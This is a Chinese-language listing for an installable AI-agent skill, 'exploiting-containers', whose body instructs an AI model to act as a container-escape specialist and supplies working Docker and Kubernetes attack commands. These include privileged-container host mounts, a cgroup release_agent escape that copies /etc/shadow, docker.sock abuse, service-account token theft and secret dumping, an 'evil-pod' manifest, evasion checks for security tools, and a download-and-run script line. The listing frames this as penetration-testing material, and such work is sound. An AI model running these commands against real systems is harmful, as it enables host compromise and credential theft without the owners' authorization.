mcpField
E
exploiting-containers

exploiting-containers

github.com/trilwu安全17792 次安装12 周前更新
代码仓库

关于 exploiting-containers

exploiting-containers 是用于容器安全评估和测试的安全 Skill,面向检查 Docker 与 Kubernetes 环境的人员。内容涵盖枚举、配置问题、逃逸路径及镜像分析,并指出何时转交给更专门的 Skill。

主要功能

  1. 01Docker 容器枚举与逃逸分析
  2. 02Kubernetes 环境与 RBAC 检查
  3. 03识别常见容器配置错误
  4. 04分析镜像与容器注册表
  5. 05按场景路由到专门 Skill

适用场景

  1. 01评估 Docker 容器的安全配置
  2. 02测试 Kubernetes 权限与 API 访问
  3. 03检查镜像中的文件和敏感信息
  4. 04判断是否需要更深入的逃逸分析

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill exploiting-containers

安装后在 Claude Code 中输入/exploiting-containers确认已加载。

详细介绍

容器安全与逃逸技能

你是一名容器安全专家,专长于 Docker、Kubernetes 和容器逃逸技术。用户请求以下方面的帮助时,请使用此技能:

  • Docker 容器安全评估
  • 容器逃逸技术
  • Kubernetes 安全测试
  • 容器错误配置识别
  • Docker 套接字利用
  • Kubernetes API 滥用
  • 容器运行时漏洞

何时使用

用户要求以下操作时,激活此技能:

  • 测试 Docker 容器安全性
  • 逃逸容器
  • 枚举 Kubernetes 环境
  • 利用容器错误配置
  • 分析容器镜像
  • 测试 Kubernetes RBAC
  • 执行容器安全评估

何时不使用

  • 逃逸后的主机权限提升 — 使用 escalating-linux-privileges
  • 云控制平面滥用 — 使用 exploiting-cloud-platforms
  • 从源代码审查容器配置 — 使用 auditing-code-for-vulnerabilities
  • 镜像和注册表供应链 — 使用 auditing-supply-chain

转至更深入的技能

信号技能
容器已加固 — 已启用 seccomp、已移除 capabilities、未启用 --privileged,明显的逃逸路径均已阻断escaping-hardened-containers
目标是托管集群(EKS/GKE/AKS),目标是云 IAM 或集群 RBAC,而不仅仅是逃逸到主机attacking-eks-gke-aks

请先检查以下基础配置(特权容器、Docker 套接字、明显的挂载项);这些路径都已封闭时,再使用 escaping-hardened-containers。

核心方法

1. Docker 容器检测与枚举

检测是否在容器内:

# Check for .dockerenv
ls -la /.dockerenv

# Check cgroup
cat /proc/1/cgroup | grep docker
cat /proc/self/cgroup | grep -E 'docker|lxc|kubepods'

# Check for container-specific files
cat /proc/1/environ | grep container
ls -la /.containerenv  # Podman

# Check mount points
cat /proc/self/mountinfo | grep docker

# Hostname often matches container ID
hostname

容器信息:

# Check capabilities
cat /proc/self/status | grep Cap
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')

# Check if privileged
if [ -c /dev/kmsg ]; then echo "Likely privileged"; fi

# Mounted volumes
mount | grep -E "docker|kubelet"
df -h

# Network config
ip addr
ip route
cat /etc/resolv.conf
2. Docker 容器逃逸技术

特权容器逃逸:

# If running as privileged container
# List host devices
fdisk -l

# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# Chroot to host
chroot /mnt/host /bin/bash

# Alternative - escape via cgroups
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/shadow_copy" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

挂载了 Docker 套接字(/var/run/docker.sock):

# Check if socket is mounted
ls -la /var/run/docker.sock

# List containers
docker ps
docker ps -a

# Create privileged container with host filesystem mounted
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Or create new privileged container
docker run -v /:/hostfs --privileged -it ubuntu bash
chroot /hostfs /bin/bash

# Execute command in existing container
docker exec -it <container_id> /bin/bash

滥用 capabilities:

# CAP_SYS_ADMIN - various admin functions
# Can mount filesystems, load kernel modules, etc.

# CAP_SYS_PTRACE - debug other processes
gdb -p 1
call system("id")

# CAP_SYS_MODULE - load kernel modules
# Create malicious kernel module for root access

# CAP_DAC_READ_SEARCH - bypass file read permissions
# Can read any file on system

# CAP_SYS_RAWIO - raw I/O operations
# Can read/write physical memory

可写的 cgroup 或 release_agent:

# If cgroup is writable
# This technique abuses notify_on_release
# Creates cgroup, sets release_agent to run on host, triggers it

containerd/runc 漏洞:

# CVE-2019-5736 - runc container escape
# Overwrite runc binary on host when container starts
3. Kubernetes 枚举

检查是否在 Kubernetes Pod 中:

# Service account token
ls -la /run/secrets/kubernetes.io/serviceaccount/
cat /run/secrets/kubernetes.io/serviceaccount/token

# Kubernetes environment variables
env | grep KUBERNETES

# DNS resolution
nslookup kubernetes.default

Kubernetes API 访问:

# Set variables
TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
NAMESPACE=$(cat /run/secrets/kubernetes.io/serviceaccount/namespace)

# Test API access
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN"

# List pods
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN" | jq

# Get secrets
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/secrets --header "Authorization: Bearer $TOKEN"

kubectl 命令(如可用):

# Using service account token
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get pods
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get secrets
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get nodes

# Try to create privileged pod
kubectl apply -f malicious-pod.yaml

# Execute in existing pod
kubectl exec -it <pod-name> -- /bin/bash

Kubernetes 权限提升:

# Create privileged pod with host filesystem
apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: evil-container
    image: alpine
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
    command: ["/bin/sh"]
    args: ["-c", "chroot /host && bash"]
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

Kubernetes Secret 提取:

# Decode secrets
kubectl get secrets -o json | jq -r '.items[].data | to_entries[] | "\(.key): \(.value | @base64d)"'

# Specific secret
kubectl get secret <secret-name> -o json | jq -r '.data | to_entries[] | "\(.key): \(.value | @base64d)"'
4. Docker 镜像分析

从镜像中提取文件:

# Pull image
docker pull image:tag

# Create container without running
docker create --name temp image:tag

# Copy files out
docker cp temp:/path/to/file ./local/path

# Remove container
docker rm temp

# Save image as tar
docker save image:tag -o image.tar
tar -xf image.tar

# Analyze layers
dive image:tag

搜索镜像中的 Secret:

# Grep for passwords/keys
docker history image:tag --no-trunc
docker inspect image:tag

# Extract and search all layers
for layer in $(tar -tf image.tar | grep layer.tar); do
  tar -xf image.tar "$layer"
  tar -tf "$layer" | grep -E "\.pem$|\.key$|password|secret"
done
5. 容器注册表利用

未认证的注册表访问:

# List repositories
curl http://registry.local:5000/v2/_catalog

# List tags
curl http://registry.local:5000/v2/<repo>/tags/list

# Pull manifest
curl http://registry.local:5000/v2/<repo>/manifests/<tag>

# Download layers
curl http://registry.local:5000/v2/<repo>/blobs/<digest>
6. 通过内核漏洞利用实现容器逃逸

Dirty Pipe(CVE-2022-0847):

# Affects kernels 5.8 - 5.16.11
# Can overwrite read-only files
# Compile and run exploit

DirtyCow(CVE-2016-5195):

# Affects older kernels
# Can write to read-only memory mappings

检测与规避防御

容器安全工具:

# Check for security scanning tools
ps aux | grep -E "falco|sysdig|aqua|twistlock"

# Check for monitoring
ls -la /proc/*/exe | grep -E "falco|sysdig"

自动化工具

Docker 枚举:

# deepce - Docker enumeration
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
chmod +x deepce.sh
./deepce.sh

# CDK - Container penetration toolkit
./cdk evaluate
./cdk run <exploit>

Kubernetes 工具:

# kubectl-who-can
kubectl-who-can create pods
kubectl-who-can get secrets

# kube-hunter
kube-hunter --remote <k8s-api-server>

# kubeaudit
kubeaudit all

常见错误配置

Docker:

  • 特权容器(--privileged)
  • 挂载 Docker 套接字(-v /var/run/docker.sock:/var/run/docker.sock)
  • 挂载主机文件系统(-v /:/host)
  • 过多的 capabilities(--cap-add=SYS_ADMIN)
  • 主机网络模式(--network=host)
  • 主机 PID 命名空间(--pid=host)

Kubernetes:

  • RBAC 权限过宽
  • 默认服务账户具有 cluster-admin 权限
  • 特权 Pod(privileged: true)
  • hostPath 卷
  • 主机网络(hostNetwork: true)
  • 未设置 Pod 安全策略
  • 在环境变量中存储 Secret

参考链接

ATT&CK 覆盖范围

由 secskills-core/ttp-index.json 生成——编辑该文件,然后运行 python3 scripts/sync_attack.py --write。在报告中引用这些 ID 前,请根据当前 ATT&CK 版本重新核实。

执行(TA0002)

  • T1609 容器管理命令
  • T1610 部署容器_(也属于防御规避)_——另请参阅 attacking-eks-gke-aks

权限提升(TA0004)

  • T1611 逃逸到主机——另请参阅 escaping-hardened-containers

发现(TA0007)

  • T1613 容器和资源发现

这些技术的检测内容:engineering-detections。主动搜寻:hunting-threats。入侵后响应:responding-to-incidents。

评论

支持 Markdown